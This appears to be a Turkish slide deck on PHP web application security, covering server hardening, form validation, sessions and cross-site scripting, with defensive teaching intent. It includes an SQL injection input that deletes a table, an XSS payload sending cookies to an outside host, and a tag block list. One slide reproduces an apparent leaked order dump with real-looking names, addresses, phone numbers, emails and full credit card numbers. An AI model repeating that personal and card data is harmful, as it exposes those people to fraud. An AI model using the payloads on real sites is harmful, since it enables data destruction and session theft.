

PHP ile Web Uygulama Güvenliği

Burak DAYIOĞLU - Burç YILDIRIM
bd@dikey8.com by@dikey8.com

<http://www.dikey8.com>

Web'de Güvenlik İhtiyacı

- Web'e bağımlılığımız giderek artıyor
 - Uygulamalar artan biçimde görev-kritik hale geliyor
- Web uygulamaları giderek karmaşıklaşıyor
 - Uygulamaların çeşitliliği ve uygulamalardan beklentiler artıyor
 - Web giderek bir platform biçimine dönüşüyor

Web Uygulama Güvenliği

- Web uygulama güvenliği tek bir noktaya odaklanarak sağlanamaz;
 - Fiziksel Güvenlik
 - Ağ Altyapısının Güvenliği
 - Sunucu Bilgisayar Sistemlerinin Güvenliği
 - Web Sunucu Yazılımlarının Güvenliği
 - Uygulama Platformunun Güvenliği
 - İletişim Güvenliği
 - Uygulama Güvenliği
 - İstemci Güvenliği
- bir arada değerlendirilmelidir

Ağ Altyapısının Güvenliği

- Güvenlik duvarları ile ağlar arasında yalıtım
 - Web sunucuya doğru yalnızca web istemlerinin geçmesine izin verilmesi
 - Tüm diğer erişimlerin kayıt edilmesi ve düzenli izlenmesi
- Saldırı tespit sistemleri ile ağ trafiğinin izlenmesi
 - Anormal/beklenmedik trafiğin tespit edilmesi
 - Bilindik web saldırılarının tespit edilmesi
 - Tespit edilen saldırılara hızla müdahale edilmesi

- Egress/Ingress Filtrelemesi
 - Kurum içi kullanım için rezerve edilen IP adres bloklarında yer alan IP adreslerinden kuruma gelen ve kurumdan çıkan IP paketlerinin filtrelenmesi
 - 10.0.0.0/24
 - 192.168.0.0/24
 - ...
- Traffic Rate Throttle
 - Trafiğin ani artışını tespit eden ve belirli bir limitten hızlı artmasını engelleyen teknoloji

Sunucu Sistemin Güvenliği

- Minimalist yaklaşım
 - Yalnızca gerekli süreçlerin işletilmesi
 - Kullanıcılara ve yazılımlara yalnızca gerektiğinde yetki verilmesi
- Sunucu sistemin ve süreçlerin üretici tarafından tavsiye edilen güvenlik ayarlarının yapılması
- Sunucu güvenlik duvarının kullanılması
- Dosya bütünlük denetleyicilerinin kullanılması
- Çalıştırılan tüm yazılımların ve işletim sisteminin
 - Güncel yamalarının izlenmesi
 - İlgili olanlarının vakit geçirmeden uygulanması

Web Sunucusunun Güvenliği

- DoS Koruması
MaxClients 200
- Olabildiğince kapsamlı kayıt tutulması
CustomLog /var/log/httpd/access_log combined
- Gereksiz örnek uygulamaların kaldırılması
 - Cgi-bin, php, asp ...
- Web'den görüntülenmesi uygun olmayan dosyaların gizlenmesi
<Files ~ "\.inc\$">
Order allow,deny
Deny from all
Satisfy All
</Files>



Web Sunucusunun Güvenliği -2

- Dizin listelemesinin iptal edilmesi

<Directory />

Options ~~Indexes~~

...

</Directory>

PHP Ortamının Güvenliği

- PHP ayar dosyasında en azından aşağıdaki ayarlar yapılmış olmalıdır
 - `display_errors = off`
 - `log_errors = on`
 - `error_log = /usr/local/apache/logs/php-errors`
 - `file_uploads=off`
 - `allow_url_fopen=off`

- İstemci ve sunucu arasında TLS/SSL kullanılması iletişim gizliliğini sağlayabilir
 - İletişim üçüncü şahıslar tarafından dinlenemez
 - SSL, sayısal sertifikalar ile sunucu ve istemcinin birbirinin kimliğini doğrulamasına da imkan verir
- SSL ve sunucu performansına etkisi
 - Tüm iletişimin şifrlenmesi, çok sayıda istemcinin olduğu durumda ciddi bir sunucu yükü oluşturacaktır
 - En azından kredi kartı bilgilerinin alındığı, kullanıcı adı ve parolaların alındığı ekranlarda kullanılması önerilir
 - SSL-hızlandırıcılar şifrelemeden doğan performans probleminin çözülmesi için kullanılabilir



PHP Uygulamalarının Güvenliği

- Formlar ve Veri Girişleri
- Kullanıcı Doğrulama
- Oturum Yönetimi ve Çerezler
- Cross-Site Scripting

DiKEY8

Form Alanlarının Denetimi

- Uzunluğun denetimi
 - **<INPUT TYPE=TEXT NAME=isim MAXLENGTH=30>**
 - Alan taşıma (ing. buffer-overflow) saldırıları
- İçeriğin denetimi
 - Yalnızca uygun harflere izin ver (alternatifi olan “yasak harfleri ara” dan çok daha başarılı)
 - Sokuşturma (ing. injection) saldırıları
 - Command injection
 - SQL injection
 - ...

SQL Sokuşturma Örneği

- Kaynak koddaki ilgili bölüm

```
$query = "SELECT HBASLIGI FROM HABERLER  
WHERE HABER LIKE '%' . $aramakriteri . '%" ;
```

- Kullanıcı "güvenlik" girdiğinde

```
SELECT HBASLIGI FROM HABERLER  
WHERE HABER LIKE '%güvenlik%'
```

- Kullanıcı "'; DELETE FROM HABERLER--" girdiğinde

```
SELECT HBASLIGI FROM HABERLER  
WHERE HABER LIKE '%'; DELETE FROM HABERLER--%'
```

SQL Sokuşturma Sonucu

File Edit View Favorites Tools Help

Back Forward Stop Home Personal Bar

Address Go

Order Number = wigwam-1095886.174

Date = Thursday, March 8, 19101 at 12:09:58 Store = Wigwam Tack Shop Item # = 475111 Item = Rock Mountain Lady's Black Jean

Size = Options = 3, 32 Weight = Price = \$ 42.50 Quantity = 1 Subtotal For Item = \$ 42.50 Order Number = wigwam-1095886.174

Date = Thursday, March 8, 19101 at 12:09:58 Store = Wigwam Tack Shop Item # = 5511 Item = Niver Ladies' Western Show Pant

Size = Options = 25, Tan Weight = Price = \$ 34.95 Quantity = 1 Subtotal For Item = \$ 34.95 Order Number = wigwam-1095886.174

Date = Thursday, March 8, 19101 at 12:09:58 Store = Wigwam Tack Shop Item # = 2560 Item = Millers Cotton Ride Ladies' Pull-On Breeches

Size = Options = 26, Sienna Weight = Price = \$ 39.95 Quantity = 2 Subtotal For Item = \$ 79.90 Subtotal = \$ 157.35

Shipping = \$ 8.95 Grand Total = \$ 166.30 Name = ikrar perdana Billing Address Street = jakal 5pogungbaru A3slema Billing Address City = DjoDjas

Billing Address State = DJ Billing Address Zip = 55284 Billing Address Country = Brunai Darussalam Mailing Address Street = Mailing Address City = DjoDjas

Mailing Address State = DJ Mailing Address Zip = 55284 Mailing Address Country = Brunai Darussalam Phone Number = 08122962531 Fax Number =

Email = alina_ikrar@yahoo.com URL = Link = Type of Card = visa Name Appearing on Card = Mark S. Dennis Card Number = 4508319070003937

Card Expiration = 01/03 Shipping Method = Standard Postal Service Order Number = futurefitness-1030578.267

Date = Sunday, March 25, 19101 at 16:36:25 Store = Future Fitness Item # = 81 Item = Metaform Heat Size = 12 pack

Options = Chocolate Raspberry Weight = Price = \$ 18.73 Quantity = 3 Subtotal For Item = \$ 56.19 Subtotal = \$ 56.19

Shipping = \$ 5.95 Grand Total = \$ 62.14 Name = Mike Kaylor Billing Address Street = 8602 NW 27th CT Billing Address City = Coral Springs Billing

Address State = FL Billing Address Zip = 33065 Billing Address Country = USA Mailing Address Street = Mailing Address City = Mailing Address

Zip = Mailing Address Country = Phone Number = 954-796-3242 Fax Number = Email = mihaka@aol.com URL = Link = Type of Card = visa

Name Appearing on Card = Michael Kaylor Card Number = 4356430008267826 Card Expiration = 10/04 Shipping Method = Standard Postal Service

Order Number = futurefitness-2665100.252 Date = Monday, April 9, 19101 at 12:12:35 Store = Future Fitness Item # = 65

Item = Tiger's Milk Size = Options = Peanut Butter Weight = Price = \$ 9.37 Quantity = 1 Subtotal For Item = \$ 9.37

Order Number = futurefitness-2665100.252 Date = Monday, April 9, 19101 at 12:12:35 Store = Future Fitness Item # = 65

Item = Tiger's Milk Size = Options = Peanut Butter Crunch Weight = Price = \$ 9.37 Quantity = 1 Subtotal For Item = \$ 9.37

Subtotal = \$ 18.74 Shipping = \$ 5.45 Grand Total = \$ 24.19 Name = kathy halderson Billing Address Street = 61190 falcon rd. Billing Address

City = olathe Billing Address State = co Billing Address Zip = 81425 Billing Address Country = united states Mailing Address Street = Mailing Address City = Mailing

Address State = Mailing Address Zip = Mailing Address Country = Phone Number = 970 323-5539 Fax Number = Email = halderson@dmae.net

URL = Link = Type of Card = mastercard Name Appearing on Card = kathy halderson Card Number = 5291491799554595 Card Expiration = 10/02

Shipping Method = Standard Postal Service Order Number = futurefitness-2000122.254 Date = Monday, April 16, 19101 at 08:17:13

Store = Future Fitness Item # = 81 Item = Metaform Heat Size = 12 packs Options = Orange Cream Weight = Price = \$ 18.73

Quantity = 5 Subtotal For Item = \$ 93.65 Subtotal = \$ 93.65 Shipping = \$ 6.95 Grand Total = \$ 100.60 Name = Michael F. Mc Grath

Billing Address Street = 15 Snug Harbor Lane Billing Address City = Queensbury Billing Address State = NY Billing Address Zip = 12804 Billing Address

Country = USA Mailing Address Street = Mailing Address City = Queensbury Mailing Address State = NY Mailing Address Zip = 12804 Mailing Address Country = USA

Phone Number = 518-793-5838 Fax Number = 888-553-5425 Email = 1800_saintjob@adelphia.net URL = Link = Type of Card = visa

Name Appearing on Card = MICHAEL F MCGRATH Card Number = 4465670900539248 Card Expiration = 09/01 Shipping Method = Standard Postal Service

Order Number = futurefitness-1678466.267 Date = Tuesday, April 24, 19101 at 22:28:31 Store = Future Fitness Item # = 65

Item = Tiger's Milk Size = Options = Milk Chocolate/Coconut Weight = Price = \$ 9.37 Quantity = 2 Subtotal For Item = \$ 18.74

Subtotal = \$ 18.74 Shipping = \$ 5.45 Grand Total = \$ 24.19 Name = Kim Koegel Billing Address Street = 3701 Penn St Billing

Address City = Irvine Billing Address State = CA Billing Address Zip = 92614 Billing Address Country = USA Mailing Address Street = Mailing Address City = Mailing

Address State = Mailing Address Zip = Mailing Address Country = Phone Number = 949-857-5170 Fax Number = Email = kkoegel@usa.net

URL = Link = Type of Card = mastercard Name Appearing on Card = Kim S Koegel Card Number = 5424180484069296 Card Expiration = 11/30/01

Shipping Method = Standard Postal Service Order Number = futurefitness-3165588.324 Date = Monday, April 30, 19101 at 09:46:23

Store = Future Fitness Item # = 81 Item = Metaform Heat Size = 12 packs Options = Chocolate Raspberry Weight = Price = \$ 18.73

Quantity = 5 Subtotal For Item = \$ 93.65 Subtotal = \$ 93.65 Shipping = \$ 6.95 Grand Total = \$ 100.60

Done Internet

Form Alanlarının Denetimi - 2

- Radyo ve çekmeli listelerden gelecek bilgiler de denetlenmelidir

```
<SELECT NAME="UNIVERSITE">
```

```
<OPTION VALUE=ODTU>ODTÜ</OPTION>
```

```
<OPTION VALUE=HU>Hacettepe Ün.v.</OPTION>
```

```
<OPTION VALUE=IU>İstanbul Ün.v.</OPTION>
```

```
</SELECT>
```

Beklenmedik Form Alanları

- PHP uygulamalarında kullanıcı tarafından gönderilen form alanları otomatik olarak global bir değişken olarak tanımlanır(dı):
 - test.php adındaki deneme programı yalnızca “no” parametresi alıyor iken “test.php?no=5&enbuyuk=1” biçiminde çağrılabilir
 - PHP 4.2.0 öncesinde “enbuyuk” otomatik olarak bir global değişken olarak tanımlanıyor
 - PHP 4.2.0 ile birlikte superglobal kavramı geldi
 - `$_GET` `$_POST`
 - `$_GET["no"]`

Gizli Değişkenler ve Metodlar

- Gizli Değişkenler (Hidden Variables)
 - Kullanıcıya emanet edilen sunucu ile ilgili bilgidir
 - Güvenilir değildir; kullanıcılar değerini değiştirebilir
 - Mümkün olduğunca kullanımından kaçınılmalıdır
- GET/POST metodları ve güvenlik
 - GET ile gönderilen form alanları tarayıcı adres çubuğunda görünür
 - Güvenlik açısından herhangi bir farkları yoktur
 - Formunuzu hangi metod ile bilgi gönderecek biçimde tanımladıysanız yalnızca o metod ile gelen bilgileri değerlendiriniz

Kullanıcı Doğrulama

- Kullanıcı doğrulama mümkün ise SSL üzerinden gerçekleştirilmelidir
 - Kullanıcılar sunucunun doğruluğundan emin olur
 - Kullanıcılar ve sunucular arasındaki iletişim dinlenemez
- Kullanıcı doğrulama bilgileri şifrelenmiş biçimde depolanmalıdır
- Mümkün ise kullanıcı parolalarının belirli aralıklar ile yenilenmesi sağlanmalıdır

Kaba Kuvvet Saldırıları

- Kullanıcıların “kaliteli” parola seçmesine yazılım desteği
- Kullanıcı adının mı yoksa parolanın mı yanlış girildiği bildirilmemelidir
- N sefer yanlış parola girişi denemesi sonunda hesap “kilitlenebilir” ya da hesabın sahibi bilgilendirilebilir
- N sefer yanlış parola girişi sonrasında girişimde bulunan IP geçici süre ile hizmetten alıkoyulabilir
- Her yanlış girişte sistem daha geç yanıt verebilir

- HTTP protokolü oturum temelli değildir
 - Tüm “sayfalar” ve bu sayfalara yapılan istekler “bağımsızdır”
- Bu model web uygulamaları için uygun değildir
 - Web uygulamaları durum ile ilgili bilgiyi saklamak ve kullanmak istemektedir
 - Cookie’ler ve parametreler ile oturum oluşturulması
 - İstemcide saklanan “bilgi” ile son durumun her yeni istekte baştan oluşturulması
 - <http://www.dikey8.com/index.php?PHPSESSID=fb15c97f84e437455be7284860af541f>

- İstemci tarafında olabildiğince az bilgi saklanmalı, saklanan bilgilere de güvenilmemelidir
 - Cookie’ler içerisinde geçerli kullanıcı adı, kredi kartı gibi bilgiler kesinlikle saklanmamalıdır
 - Bir saldırgan cookie’leri değiştirebilir
 - Cookie’ler çalınabilir
- Cookie’ler ya da URL ile istemler arasında taşınan bilgiler yalnızca “kullanıcı tanımlayıcısı” ile sınırlı olmalıdır
 - Oturum ile ilişkilendirilmiş tüm diğer bilgiler sunucu üzerinde saklanmalıdır
 - PHP’nin oturum işlevleri bu modelde çalışmak üzere tasarlanmış ve geliştirilmiştir

Kullanıcı Tanımlayıcısı

Güvenliği

- Kullanıcı tanımlayıcısı olarak seçilen belirteçler sıradan atanmamalı, geniş bir aralıktan rastgele seçilmelidir
 - Kolayca tahmin edilemeyen kullanıcı tanımlayıcıları
- Tanımlayıcılar, sunucu tarafında oturum ile ilgili diğer bilgiler ile eşlenmelidir
 - İstemci IP adresi, tarayıcı marka/modeli, ...
 - Bir tanımlayıcı ile, örneğin, farklı bir IP adresinden istem geldiğinde bu istem bir “saldırı” olarak değerlendirilmelidir

- Oturum denetimi için HTTP_REFERER'in kullanılması uygun değildir
 - Bir önce ziyaret edilen sayfa (HTTP_REFERER) istemci tarafından gönderilen bir bilgidir
 - Bir saldırgan dilediği adresi “bir önce ziyaret ettiğim sayfa” olarak sunucuya gönderebilir

Cross-Site Scripting

- Bir kullanıcı tarafından girilen bilgilerin bir başka kullanıcı tarafından görüntülenebildiği durumlar dikkatle incelenmelidir
 - Forumlar, ziyaretçi defterleri, webmail vb.
- Girilebilecek bilgiler içinde yer alabilecek HTML TAG'leri diğer kullanıcıların bu bilgileri nasıl görüntüleyeceğini de değiştirebilir

```
<script>  
window.open(  
    "http://www.dikey8.com?  
    cook="+document.cookie);  
</script>
```


Cross-Site Scripting

- Mümkünse kullanıcılar tarafından girilen bilgilerin başka kullanıcılarca görüntülenebilmesinden kaçınılmalıdır
- Bunun mümkün olmadığı durumlarda aşağıdaki TAG'ler elenmelidir

<APPLET>

<BASE>

<BODY>

<EMBED>

<FRAME>

<FRAMESET>

<HTML>

<IFRAME>

<LAYER>

<META>

<OBJECT>

<P>

<SCRIPT>

<STYLE>

- Aşağıdaki nitelikleri barındıran TAG'lerin tümü elenmelidir

<STYLE>

<SRC>

<HREF>

<TYPE>

- Web uygulamalarının güvenliğinin sağlanması kurumlar için yaşamsal önemli olabilir
 - Web uygulama güvenliği tek bir noktaya odaklanarak sağlanamaz
 - Ağ altyapısının, sunucu sistemlerinin, sunucu yazılımların, iletişimin ve uygulamaların güvenliğinin bir arada ele alınması gerekmektedir
 - Uygulama geliştirme sürecinde
 - Kullanıcılara ve onların eylemlerine güvenilmemesi
 - İstemci bilgisayar sistemleri üzerinde olabildiğince az bilgi depolanmasıkonularına özellikle dikkat edilmelidir
-

- **Gutzmann, Access Control and Session Management in the HTTP Environment, IEEE Internet Computing, January-February 2001.**
- **Fu et. al., Do's and Dont's of Client Authentication on the Web, In Proceedings of the 10th USENIX Security Symposium, August 2001.**
- **Tracy et. al., Guidelines on Securing Public Web Servers, NIST Special Publication 800-44, February 2002.**
- **Wheeler, Secure Programming for Linux and Unix HOWTO, October 2001.**
- <http://www.whitehatsec.com>
- <http://www.owasp.org>